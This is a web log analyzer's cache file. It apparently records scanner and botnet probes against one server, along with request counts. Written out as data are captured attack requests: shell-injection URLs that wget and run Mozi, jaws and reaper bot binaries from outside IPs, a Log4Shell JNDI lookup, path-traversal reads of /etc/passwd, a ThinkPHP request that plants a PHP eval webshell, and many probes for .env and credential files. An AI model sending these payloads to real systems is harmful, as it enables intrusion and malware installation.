CACHE type 5 produced by analog 6.0/Unix. Do not modify or delete!
T 0 0 2 0 66244039 167 71985
D 28205375 28432509
19587 19 2 0 71985
1 0 0 3 0 0 27636311 0 0 27628731 0 0 /vtigercrm
1 0 0 1 0 0 28126769 0 0 28126769 0 0 /${jndi:ldap://196.21.83.146:1389/Exploit}
1 0 0 3 0 0 28181053 0 0 28061787 0 0 /webserver/config/config.js
1 0 0 4 0 0 28368371 0 0 27868116 0 0 /wp-config.php_orig
1 0 0 1 0 0 27722813 0 0 27722813 0 0 /uploadtmp/165564629745775220.jpg
1 0 0 7 0 0 28181050 0 0 27710694 0 0 /modules/.env
1 0 0 1 0 0 28205330 0 0 28205330 0 0 /index.php?option=com_properties&controller=../../../../../../../../../../../../../etc/passwd%00
1 0 0 3 0 0 28181052 0 0 28061786 0 0 /s3_credentials.csv
1 0 0 4 0 0 28262019 0 0 27563973 0 0 /ou2.php
1 0 0 1 0 0 27980672 0 0 27980672 0 0 /servlet?p=login&q=loginForm&jumpto=status
1 0 0 1 0 0 28205494 0 0 28205494 0 0 /wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php
1 0 0 1 0 0 28205524 0 0 28205524 0 0 /etc/passwd?/dana/html5acc/guacamole/
1 0 0 5 0 0 28262017 0 0 27563970 0 0 /hue2.php
1 0 0 4 0 0 27751303 0 0 27710699 0 0 /trash-DELETE-IT/.env
1 0 0 1 0 0 27856449 0 0 27856449 0 0 /tests/default_settings/v10.0/.env
1 0 0 2 0 0 27941410 0 0 27903841 0 0 http://34.101.75.96:80/secret/phpmyadmin/scripts/setup.php
1 0 0 5 0 0 28368369 0 0 28153277 0 0 /root/infophp
1 0 0 1 0 0 27855273 0 0 27855273 0 0 /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://106.110.213.112:34188/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
1 0 0 2 0 0 28061688 0 0 28061688 0 0 /backend/laravel-filemanager
1 0 0 1 0 0 27856446 0 0 27856446 0 0 /src/__tests__/__fixtures__/typeScriptIntegrationProject/.env
1 0 0 7 0 0 28368373 0 0 27710688 0 0 /hasura/.env
1 0 0 1 0 0 27682464 0 0 27682464 0 0 /contactus.html
1 0 0 2 0 0 28067660 0 0 27856441 0 0 /Nodejs-Projects/play-ground/ManageUserRoles/.env
1 0 0 1 0 0 28205456 0 0 28205456 0 0 /mantisBT/verify.php?id=1&confirm_hash
1 0 0 8 0 0 28262019 0 0 27563975 0 0 /dns.php
1 0 0 12 0 0 28020545 0 0 28019457 0 0 84.153.75.193:4444
1 0 0 1 0 0 28143857 0 0 28143857 0 0 /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://117.208.139.184:39975/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
1 0 0 1 0 0 27585313 0 0 27585313 0 0 /hunmj_serverApi/test.php
1 0 0 2 0 0 28233151 0 0 27662350 0 0 /front-app/.env.example
1 0 0 1 0 0 28149521 0 0 28149521 0 0 /shell?cd+/tmp;rm+-rf+*;wget+91.234.99.110/jaws-rep.sh;chmod+777+/tmp/jaws-rep.sh;sh+/tmp/jaws-rep.sh
1 0 0 1 0 0 27821999 0 0 27821999 0 0 /wp-content/plugins/woo-product-table/readme.txt
1 0 0 1 0 0 28061731 0 0 28061731 0 0 /core/info.php
1 0 0 2 0 0 28067639 0 0 27856433 0 0 /docker/examples/compose/.env
1 0 0 11 0 0 28294519 0 0 27710671 0 0 /.env.test.local
1 0 0 8 0 0 28262020 0 0 27563977 0 0 /wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1 0 0 1 0 0 28233151 0 0 28233151 0 0 /tmp/.env.example
1 0 0 3 0 0 28262020 0 0 27563977 0 0 /plus/e7xue.php
1 0 0 4 0 0 28262018 0 0 27563972 0 0 /Skri.php
1 0 0 1 0 0 28233152 0 0 28233152 0 0 /environments/.env
1 0 0 7 0 0 28181048 0 0 27710674 0 0 /bots/.env
1 0 0 1 0 0 28234859 0 0 28234859 0 0 /UEPs
1 0 0 5 0 0 28262020 0 0 27563978 0 0 /download/index.php
1 0 0 1 0 0 28205493 0 0 28205493 0 0 /imcat/root/tools/adbug/binfo.php?phpinfo1
1 0 0 6 0 0 28361474 0 0 27903841 0 0 http://34.101.75.96:80/phpMyAdmin-2.11.0/scripts/setup.php
1 0 0 5 0 0 28262020 0 0 27563978 0 0 /phpMyAdmin4.8.4/index.php
1 0 0 6 0 0 28262016 0 0 27563970 0 0 /scripts/setup.php
1 0 0 3 0 0 28262020 0 0 27563977 0 0 /wp-includes/css/wp-login.php
1 0 0 2 0 0 27870262 0 0 27868113 0 0 /test/.env.production
1 0 0 1 0 0 28205301 0 0 28205301 0 0 /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php
1 0 0 7 0 0 28181047 0 0 27710673 0 0 /api2/.env
1 0 0 1 0 0 27856446 0 0 27856446 0 0 /src/gameprovider-service/.env
1 0 0 2 0 0 28134526 0 0 28134390 0 0 /shell?cd+/tmp;rm+-rf+*;wget+159.223.237.29/jaws;sh+/tmp/jaws
1 0 0 112 0 0 28418739 0 0 27583397 0 0 /sites/all/libraries/mailchimp/.env
1 0 0 5 0 0 28329541 0 0 28326446 0 0 /keys.json
1 0 0 2 0 0 28067617 0 0 27856427 0 0 /09-managing-state/end/vue-heroes/.env
1 0 0 2 0 0 28067617 0 0 27856427 0 0 /09-managing-state/begin/vue-heroes/.env
1 0 0 19 0 0 28181053 0 0 27710700 0 0 /website/.env
1 0 0 16 0 0 28397953 0 0 27987152 0 0 /symfony/public/_profiler/phpinfo
1 0 0 2 0 0 27870263 0 0 27868114 0 0 /development/.env.production
1 0 0 1 0 0 28088918 0 0 28088918 0 0 /shell?cd+/tmp;rm+-rf+*;wget+http://102.33.42.101:35553/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
1 0 0 1 0 0 28337716 0 0 28337716 0 0 /infestro
1 0 0 1 0 0 27604951 0 0 27604951 0 0 /shell?cd+/tmp;rm+-rf+*;wget+http://149.57.135.78/bins/aqua.mpsl;sh+/tmp/aqua.mpsl
1 0 0 7 0 0 28181049 0 0 27710688 0 0 /htaccess/.env
1 0 0 5 0 0 28262017 0 0 27563971 0 0 /wp/wp-content/plugins/wp-file-manager/readme.txt
1 0 0 50 0 0 28411064 0 0 27516590 0 0 /boaform/admin/formLogin?username=adminisp&psd=adminisp
1 0 0 17 0 0 28180131 0 0 28158975 0 0 /shell?cd+/tmp;rm+-rf+*;wget+ testbots.maizhangyu.top/jaws;sh+/tmp/jaws
1 0 0 10 0 0 28368375 0 0 27710699 0 0 /templates/.env
1 0 0 12 0 0 28262020 0 0 27563972 0 0 /conf.php
1 0 0 2 0 0 27870263 0 0 27868114 0 0 /cron/.env.staging
1 0 0 4 0 0 28262018 0 0 27563972 0 0 /indexl.php
1 0 0 5 0 0 28329541 0 0 28326445 0 0 /.netrc
1 0 0 1 0 0 28337716 0 0 28337716 0 0 /infestor
1 0 0 4 0 0 28262019 0 0 27563974 0 0 /liangchen.php
1 0 0 2 0 0 28067647 0 0 27856436 0 0 /Final_Project/kafka_twitter/.env
1 0 0 3 0 0 27917464 0 0 27916421 0 0 /shell?cd+/tmp;rm+-rf+*;wget+107.189.31.181/jaws;sh+/tmp/jaws
1 0 0 1 0 0 28420643 0 0 28420643 0 0 /.env-exemple
1 0 0 5 0 0 28329541 0 0 28326445 0 0 /.passwd-s3fs
1 0 0 7 0 0 28181050 0 0 27710693 0 0 /libweb/.env
1 0 0 5 0 0 28262017 0 0 27563970 0 0 /images/vuln.php
1 0 0 1 0 0 27781285 0 0 27781285 0 0 /xe8</x8eG/x0f/x80/x1a/bC/xfa/xca/xbcD/xfb/xab/xc6/xe2EKU/xc2a/tUx/xed/xc8/xfe/xcea/tU/xc3eKU/xc2a/n
1 0 0 1 0 0 28205350 0 0 28205350 0 0 /index.php?option=com_canteen&controller=../../../../../etc/passwd%00
1 0 0 1 0 0 28135621 0 0 28135621 0 0 /nmaplowercheck1688025669
1 0 0 124 0 0 28427226 0 0 28085399 0 0 /bundle.js
1 0 0 7 0 0 28417904 0 0 27749121 0 0 http://www.google.com/
1 0 0 5 0 0 28265504 0 0 28196101 0 0 /news.php
1 0 0 4 0 0 27751291 0 0 27710682 0 0 /empresasbrasil/.env
1 0 0 3 0 0 28368370 0 0 27868112 0 0 /crm/info.php
1 0 0 12 0 0 28293693 0 0 27668020 0 0 /OTApp/.env
1 0 0 3 0 0 27725693 0 0 27722748 0 0 /css/chunk-136996b2.7dbb5571.css
1 0 0 4 0 0 27751301 0 0 27710697 0 0 /simplesamlphp/.env
1 0 0 6 0 0 28067670 0 0 27710696 0 0 /rust-backend/dao/.env
1 0 0 24 0 0 28262016 0 0 27563970 0 0 /MyAdmin/scripts/setup.php
1 0 0 1 0 0 28264962 0 0 28264962 0 0 /home/.envengine/.env
1 0 0 4 0 0 28262019 0 0 27563975 0 0 /n23.php
1 0 0 1 0 0 28281437 0 0 28281437 0 0 /simple.php
1 0 0 10 0 0 28368375 0 0 27710698 0 0 /static-html/.env
1 0 0 1 0 0 27748084 0 0 27748084 0 0 /shell?cd+/tmp;rm+-rf+*;wget+ 139.162.43.78/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4
1 0 0 2 0 0 27976058 0 0 27976058 0 0 /?rest_route=/wp/v2/users
1 0 0 1 0 0 28205445 0 0 28205445 0 0 /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://cjeg16objhbp7bu1q5kgkga5mgxprg6iw.oast.live
1 0 0 1 0 0 28205526 0 0 28205526 0 0 /LetsEncrypt/Index?fileName=/etc/passwd
1 0 0 2 0 0 28027148 0 0 28025622 0 0 /tornado.options
1 0 0 3 0 0 28294518 0 0 28183388 0 0 /global.json
1 0 0 5 0 0 28262016 0 0 27563970 0 0 /pma/scripts/db___.init.php
1 0 0 6 0 0 28368375 0 0 27710699 0 0 /temanr9/.env
1 0 0 2 0 0 28233151 0 0 27662350 0 0 /bootstrap/.env.example
1 0 0 5 0 0 28262016 0 0 27563970 0 0 /muhstik-dpr.php
1 0 0 4 0 0 28195332 0 0 27809197 0 0 /start.shtml
1 0 0 2 0 0 27610571 0 0 27609194 0 0 /alfa.php
1 0 0 1 0 0 27701919 0 0 27701919 0 0 /shell?cd+/tmp;rm+-rf+*;wget+http://163.179.170.191:59817/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
1 0 0 1 0 0 28205432 0 0 28205432 0 0 /current_config/passwd
1 0 0 2 0 0 27870263 0 0 27868114 0 0 /old/.env.staging
1 0 0 106 0 0 28411892 0 0 27568062 0 0 /member/.env
1 0 0 9 0 0 28414486 0 0 27895053 0 0 /inicio.pl
1 0 0 16 0 0 28062929 0 0 28030043 0 0 /.pnp
1 0 0 2 0 0 27625688 0 0 27600031 0 0 /eam/healthstatus
1 0 0 1 0 0 27856430 0 0 27856430 0 0 /boxes/oracle-vagrant-boxes/OLCNE/.env
1 0 0 3 0 0 28368371 0 0 27868112 0 0 /lara/phpinfo.php
1 0 0 4 0 0 28262016 0 0 27563970 0 0 /elrekt.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP
1 0 0 8 0 0 28262253 0 0 27710672 0 0 /Sources/API/.env
1 0 0 1 0 0 28205423 0 0 28205423 0 0 /forums/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1'
1 0 0 5 0 0 28262017 0 0 27563970 0 0 /woshimengmei.php
1 0 0 5 0 0 28262017 0 0 27563970 0 0 /floaw.php
1 0 0 11 0 0 28368375 0 0 27710698 0 0 /style/.env
1 0 0 1 0 0 28205354 0 0 28205354 0 0 /?q=node&destination=node
1 0 0 123 0 0 28430279 0 0 27517426 0 0 /_phpMyAdmin/index.php?lang=en
1 0 0 2 0 0 27870263 0 0 27868114 0 0 /service/.env.local
1 0 0 1 0 0 28337717 0 0 28337717 0 0 /changeling
1 0 0 730 0 0 28411892 0 0 27520645 0 0 /_profiler/phpinfo
1 0 0 2 0 0 28294518 0 0 28183388 0 0 /phpsysinfo
1 0 0 127 0 0 28421852 0 0 27563082 0 0 /cp/.env
1 0 0 3 0 0 27838882 0 0 27838882 0 0 20.247.88.180:443
1 0 0 1 0 0 28384709 0 0 28384709 0 0 /HTHx
1 0 0 152 0 0 28418146 0 0 27520705 0 0 /storage/.env
1 0 0 7 0 0 28397953 0 0 28033568 0 0 /html/phpinfo.php
1 0 0 3 0 0 28295206 0 0 28128125 0 0 api64.ipify.org:80
1 0 0 1 0 0 27780601 0 0 27780601 0 0 /Qdt3
1 0 0 4 0 0 28262019 0 0 27563974 0 0 /CC.php
1 0 0 125 0 0 28430370 0 0 27517426 0 0 /sql/sqlweb/index.php?lang=en
1 0 0 4 0 0 27751301 0 0 27710698 0 0 /soporte/.env
1 0 0 7 0 0 28361474 0 0 27903841 0 0 http://34.101.75.96:80/web/phpMyAdmin/scripts/setup.php
1 0 0 4 0 0 27695159 0 0 27694844 0 0 /v92346.html
1 0 0 3 0 0 28294517 0 0 28183387 0 0 /test_phpinfo.php
1 0 0 4 0 0 27751285 0 0 27710673 0 0 /api_source/.env
1 0 0 3 0 0 28368376 0 0 27868115 0 0 /wp-config_backup
1 0 0 1 0 0 28182553 0 0 28182553 0 0 /shell?cd+/tmp;rm+arm7;wget+http:/\\/37.139.129.4/H18/arm7;chmod+777+arm7;./arm7+jaws.arm7
1 0 0 76 0 0 28418737 0 0 27856426 0 0 /.c9/metadata/environment/.env
1 0 0 126 0 0 28430366 0 0 27517427 0 0 /phppma/index.php?lang=en
1 0 0 122 0 0 28418741 0 0 27583397 0 0 /library/.env
1 0 0 4 0 0 28148825 0 0 28024229 0 0 /goform/set_LimitClient_cfg
1 0 0 4 0 0 28262019 0 0 27563974 0 0 /.php
1 0 0 3 0 0 28046413 0 0 27628731 0 0 /recordings/theme/main.css
1 0 0 11 0 0 28368375 0 0 27710697 0 0 /sessions/.env
1 0 0 6 0 0 28296414 0 0 27869339 0 0 /default.jhtml
1 0 0 1 0 0 28205420 0 0 28205420 0 0 /test.cgi
1 0 0 10 0 0 28368373 0 0 27710685 0 0 /fm/.env
1 0 0 379 0 0 28432069 0 0 27583937 0 0 /x16/x03/x01/x01H/x01
1 0 0 2 0 0 27610579 0 0 27609199 0 0 /wp-content/plugins/wpdiscuz/themes/default/style-rtl.css
1 0 0 12 0 0 28368370 0 0 28153277 0 0 /info/info.php
1 0 0 5 0 0 28262017 0 0 27563970 0 0 /taisui.php
1 0 0 2 0 0 28294518 0 0 28183388 0 0 /test_phpinfo3.php
1 0 0 5 0 0 28134617 0 0 27903753 0 0 http://ip-api.com/json/34.101.75.96
1 0 0 2 0 0 28340159 0 0 28339120 0 0 /changelign
1 0 0 2 0 0 27058930 0 0 27048362 0 0 /?103.3.222.189
1 0 0 1 0 0 28417718 0 0 28417718 0 0 /includes/.git/config
1 0 0 61 0 0 27769334 0 0 27515020 0 0 /fuN3
1 0 0 1 0 0 28205438 0 0 28205438 0 0 /+CSCOE+/files/file_list.json?path=/sessions
1 0 0 2 0 0 28294518 0 0 28183388 0 0 /config.dev.js
1 0 0 2 0 0 27870263 0 0 27868114 0 0 /staging/.env.staging
1 0 0 1 0 0 28267780 0 0 28267780 0 0 /OzHK
1 0 0 124 0 0 28430370 0 0 27517427 0 0 /mysql/admin/index.php?lang=en
1 0 0 1 0 0 28239824 0 0 28239824 0 0 /shell?cd+/tmp;rm+-rf+*;wget+ 37.49.226.210/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4
1 0 0 1 0 0 28377863 0 0 28377863 0 0 /wumim.php
1 0 0 5 0 0 28329541 0 0 28326446 0 0 /secure.config
1 0 0 1 0 0 27809130 0 0 27809130 0 0 /xa5/xbf/xe40/n
1 0 0 2 0 0 28067647 0 0 27856436 0 0 /first-network/.env
1 0 0 2 0 0 28294517 0 0 28183387 0 0 /pi.php5
1 0 0 32 0 0 27784506 0 0 27517809 0 0 /x16/x03/x01/x01C/x01
1 0 0 1 0 0 27963003 0 0 27963003 0 0 /staging/.git/config
1 0 0 7 0 0 28181052 0 0 27710697 0 0 /see/.env
1 0 0 7 0 0 28368370 0 0 28153277 0 0 /webdav/phpinfo.php
1 0 0 4 0 0 28262018 0 0 27563971 0 0 /999.php
1 0 0 4 0 0 28262019 0 0 27563974 0 0 /lost.php
1 0 0 2 0 0 28294520 0 0 28183389 0 0 /env.prod.js
1 0 0 4 0 0 28262019 0 0 27563975 0 0 /linkr.php
1 0 0 10 0 0 28368375 0 0 27710698 0 0 /system-config/.env
1 0 0 2 0 0 27919419 0 0 27912988 0 0 www.google.cn:443
1 0 0 1 0 0 27744540 0 0 27744540 0 0 /api/index/getline?id=130
1 0 0 10 0 0 28265504 0 0 28196101 0 0 /fw6I
1 0 0 4 0 0 28262020 0 0 27563976 0 0 /Config_Shell.php
1 0 0 2 0 0 27610569 0 0 27609194 0 0 /wpindex.php?idb=https://raw.githubusercontent.com/carlosdechia/carlosdechia/main/ExV1
1 0 0 1 0 0 28295353 0 0 28295353 0 0 /nmaplowercheck1697609595
1 0 0 251 0 0 28407573 0 0 27642556 0 0 /.env.production
1 0 0 8 0 0 28262018 0 0 27563971 0 0 /my.php
1 0 0 49 0 0 28429931 0 0 27520265 0 0 /solr/
1 0 0 5 0 0 28096318 0 0 28034575 0 0 /resources/assets/css/style.css
1 0 0 10 0 0 28262016 0 0 27563970 0 0 /muhstik.php
1 0 0 1 0 0 28007303 0 0 28007303 0 0 /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://27.207.186.39:46987/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
1 0 0 205 0 0 28407573 0 0 27782998 0 0 /.env.development
1 0 0 1 0 0 28205409 0 0 28205409 0 0 /fosagent/repl/download-snapshot?name=..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini
1 0 0 1 0 0 28070642 0 0 28070642 0 0 /kFVU
1 0 0 132 0 0 28430366 0 0 27517427 0 0 /phpmyadmin_/index.php?lang=en
1 0 0 1 0 0 27919624 0 0 27919624 0 0 /shell?cd+/tmp;rm+-rf+*;wget+205.185.121.29/jaws;sh+/tmp/jaws
1 0 0 1 0 0 28336538 0 0 28336538 0 0 /colossus
1 0 0 1 0 0 28320501 0 0 28320501 0 0 /.git/
1 0 0 2 0 0 28088218 0 0 28088175 0 0 /config.yaml
1 0 0 4 0 0 28262016 0 0 27563969 0 0 /forum/index.php
1 0 0 1 0 0 27646295 0 0 27646295 0 0 /doc/page/login.asp
1 0 0 7 0 0 28093715 0 0 28055183 0 0 /resources/assets/css/plugins/sweetalert/sweetalert.css
1 0 0 5 0 0 28329541 0 0 28326445 0 0 /v1.16/version
1 0 0 1 0 0 28126132 0 0 28126132 0 0 /plugins/system/debug/debug.xml
1 0 0 5 0 0 28329541 0 0 28326445 0 0 /queue.sqlite3
1 0 0 6 0 0 28093715 0 0 28055184 0 0 /resources/assets/css/plugins/select2/select2-bootstrap4.min.css
1 0 0 10 0 0 28265504 0 0 28196101 0 0 /c/msdownload/update/software/update/2021/11/6632de33-967441-x86.cab
1 0 0 4 0 0 27751287 0 0 27710674 0 0 /bmwstory/.env
1 0 0 1 0 0 28336538 0 0 28336538 0 0 /colosssu
1 0 0 9 0 0 28123625 0 0 28073744 0 0 /x16/x03/x03/x01/x8e/x01
1 0 0 6 0 0 28389884 0 0 28376536 0 0 /Ep1v
1 0 0 1 0 0 28061731 0 0 28061731 0 0 /api-dev/.env
1 0 0 7 0 0 28181049 0 0 27710684 0 0 /ets/.env
1 0 0 2 0 0 28416896 0 0 28416896 0 0 /cgi-bin/luci/?form=country&operation=write&country=$(rm -rf *%3B cd /tmp%3B wget http://104.168.5.4/tenda.sh%3B chmod 777 tenda.sh%3B./tenda.sh)
1 0 0 8 0 0 28262019 0 0 27563973 0 0 /3.php
1 0 0 2 0 0 27943359 0 0 27875852 0 0 /portal/
1 0 0 1 0 0 28205318 0 0 28205318 0 0 /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/safedog()+6qyxNBmktO.log
1 0 0 7 0 0 28368373 0 0 27710692 0 0 /jupyter/.env
1 0 0 6 0 0 28368370 0 0 27868112 0 0 /develop/info.php
1 0 0 1 0 0 28364116 0 0 28364116 0 0 /nmaplowercheck1701735363
1 0 0 5 0 0 28368371 0 0 27868117 0 0 /wp-config.php.save
1 0 0 7 0 0 28172370 0 0 27875945 0 0 /wp-content/plugins/seoplugins/mar.php
1 0 0 2 0 0 28205408 0 0 28205408 0 0 /wls-wsat/CoordinatorPortType
1 0 0 3 0 0 28119786 0 0 27941458 0 0 /phpmyadmin20index.php?lang=en
1 0 0 6 0 0 28133647 0 0 27868114 0 0 /service/.env
1 0 0 6 0 0 28389884 0 0 28376536 0 0 /GWqN
1 0 0 1 0 0 28205369 0 0 28205369 0 0 /cgi-bin/koha/svc/virtualshelves/search?template_path=../../../../../../../../../../../../../../../../etc/passwd
1 0 0 2 0 0 28067664 0 0 27856442 0 0 /post-deployment/.vscode/.env
1 0 0 4 0 0 28262019 0 0 27563975 0 0 /mo.php
1 0 0 4 0 0 28262019 0 0 27563976 0 0 /lx.php
1 0 0 592 0 0 28432302 0 0 27516884 0 0 /solr/admin/info/system?wt=json
1 0 0 4 0 0 27751303 0 0 27710699 0 0 /tests
1 0 0 4 0 0 27751294 0 0 27710690 0 0 /imuva/.env
1 0 0 4 0 0 27751301 0 0 27710697 0 0 /sistema/.env
1 0 0 1 0 0 28205462 0 0 28205462 0 0 /server/node_upgrade_srv.js?action=downloadFirmware&firmware=/../../../../../../../../../../Windows/win.ini
1 0 0 10 0 0 28418331 0 0 28057727 0 0 /_all_dbs
1 0 0 3 0 0 28262020 0 0 27563977 0 0 /include/tags.php
1 0 0 26 0 0 28421852 0 0 27668020 0 0 /server/.env
1 0 0 4 0 0 28262018 0 0 27563972 0 0 /webslee.php
1 0 0 7 0 0 28329541 0 0 28222390 0 0 /.env/backup
1 0 0 5 0 0 28262020 0 0 27563977 0 0 /admin/phpMyAdmin/index.php
1 0 0 10 0 0 28368374 0 0 27710696 0 0 /run/.env
1 0 0 4 0 0 28294519 0 0 28025622 0 0 /.ghc.environment
1 0 0 1 0 0 28339780 0 0 28339780 0 0 /wp-includes/leaf.php?http://complaints.howdenindonesia.com/wp-includes/leaf.php
1 0 0 6 0 0 28368370 0 0 28153277 0 0 /tools/phpinfo.php
1 0 0 12 0 0 28368373 0 0 27710689 0 0 /httpboot/.env
1 0 0 4 0 0 28262018 0 0 27563971 0 0 /bbr.php
1 0 0 1 0 0 27745833 0 0 27745833 0 0 /xff/x1e/x99/x07/x1f/xe5/xb4/x15/x1f/xd9/xea/bs/x0f/xe0/xc7*Dn/xc3/n
1 0 0 4 0 0 28093715 0 0 28075123 0 0 /resources/assets/css/animate.css
1 0 0 6 0 0 28067641 0 0 27710683 0 0 /env/template/.env
1 0 0 4 0 0 27751291 0 0 27710683 0 0 /entmain/.env
1 0 0 1 0 0 28011336 0 0 28011336 0 0 /?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=t31kofac
1 0 0 453 0 0 28424128 0 0 27563082 0 0 /api/.env
1 0 0 2 0 0 27870262 0 0 27868113 0 0 /beta/.env.production
1 0 0 7 0 0 28181050 0 0 27710694 0 0 /myadmin/.env
1 0 0 14 0 0 28368369 0 0 27710690 0 0 /inf.php
1 0 0 2 0 0 27610577 0 0 27609197 0 0 /wp-includes/lfx.php
1 0 0 12 0 0 28368372 0 0 27710673 0 0 /app/config/dev/.env
1 0 0 6 0 0 28067628 0 0 27710675 0 0 /ch6a-mytodo/.env
1 0 0 10 0 0 28368374 0 0 27710695 0 0 /packed/.env
1 0 0 1 0 0 27557724 0 0 27557724 0 0 /iXJR
1 0 0 2 0 0 28233151 0 0 27662350 0 0 /js/.env.example
1 0 0 1 0 0 28336539 0 0 28336539 0 0 /sentyr
1 0 0 1 0 0 28359602 0 0 28359602 0 0 /index.php?s=index/\think\template\driver\file/write&cacheFile=spread.php&content=<?php @eval($_POST[spread]);?>
1 0 0 7 0 0 28181050 0 0 27710693 0 0 /laravel-sites/.env
1 0 0 5 0 0 27856437 0 0 27710687 0 0 /frontend/vue/.env
1 0 0 4 0 0 27751291 0 0 27710682 0 0 /elections/.env
1 0 0 7 0 0 28329541 0 0 28183388 0 0 /.config
1 0 0 5 0 0 28262020 0 0 27563978 0 0 /phpMyAdm1n/index.php
1 0 0 5 0 0 28262020 0 0 27563977 0 0 /PMA/index.php
1 0 0 5 0 0 28262020 0 0 27563978 0 0 /v/index.php
1 0 0 6 0 0 28067644 0 0 27710672 0 0 /Exercise.Frontend/train/.env
1 0 0 3 0 0 28294518 0 0 28183388 0 0 /secrets.json
1 0 0 1 0 0 28205516 0 0 28205516 0 0 /Admin
1 0 0 1 0 0 28205478 0 0 28205478 0 0 /ipecs-cm/download?filename=jre-6u13-windows-i586-p.exe&filepath=../../../../../../../../../../etc/passwd%00.jpg
1 0 0 1 0 0 27872424 0 0 27872424 0 0 /nmaplowercheck1672233890
1 0 0 2 0 0 28067672 0 0 27856445 0 0 /services/documents/.env
1 0 0 1 0 0 27883381 0 0 27883381 0 0 /gulpfile.js
1 0 0 6 0 0 28067628 0 0 27710675 0 0 /ch7a-mytodo/.env
1 0 0 1 0 0 28061731 0 0 28061731 0 0 /test2
1 0 0 3 0 0 28354001 0 0 28153277 0 0 /test1
1 0 0 1 0 0 27760934 0 0 27760934 0 0 /x14w/x88,`/xd7/x82/x17_/x8c/x8b/x05/x03)K/xfb/n
1 0 0 8 0 0 28424656 0 0 27578851 0 0 /test/
1 0 0 124 0 0 28430281 0 0 27517427 0 0 /sql/sqladmin/index.php?lang=en
1 0 0 1 0 0 28205518 0 0 28205518 0 0 /api/filemanager?path=/../../Content
1 0 0 3 0 0 28294518 0 0 28183387 0 0 /_profiler/phpinfo.php
1 0 0 1 0 0 27916100 0 0 27916100 0 0 /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://42.7.239.212:55957/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
1 0 0 3 0 0 28368371 0 0 27868117 0 0 /wp-config.phptmp
1 0 0 4 0 0 27265251 0 0 27236030 0 0 /robots.txt?40.88.21.235
1 0 0 5 0 0 28092013 0 0 28075150 0 0 /resources/assets/css/plugins/toastr/toastr.min.css
1 0 0 2 0 0 27870262 0 0 27868113 0 0 /live/.env.production
1 0 0 2 0 0 27941410 0 0 27903841 0 0 http://34.101.75.96:80/typo3/phpmyadmin/scripts/setup.php
1 0 0 2 0 0 27870263 0 0 27868114 0 0 /develop/.env.production
1 0 0 10 0 0 28368373 0 0 27710690 0 0 /image_data/.env
1 0 0 1 0 0 28205349 0 0 28205349 0 0 /index.php?option=com_jradio&controller=../../../../../../../../../../../../etc/passwd%00
1 0 0 57 0 0 28418147 0 0 27664123 0 0 /blogs/.env
1 0 0 4 0 0 28262019 0 0 27563975 0 0 /sbkcb.php
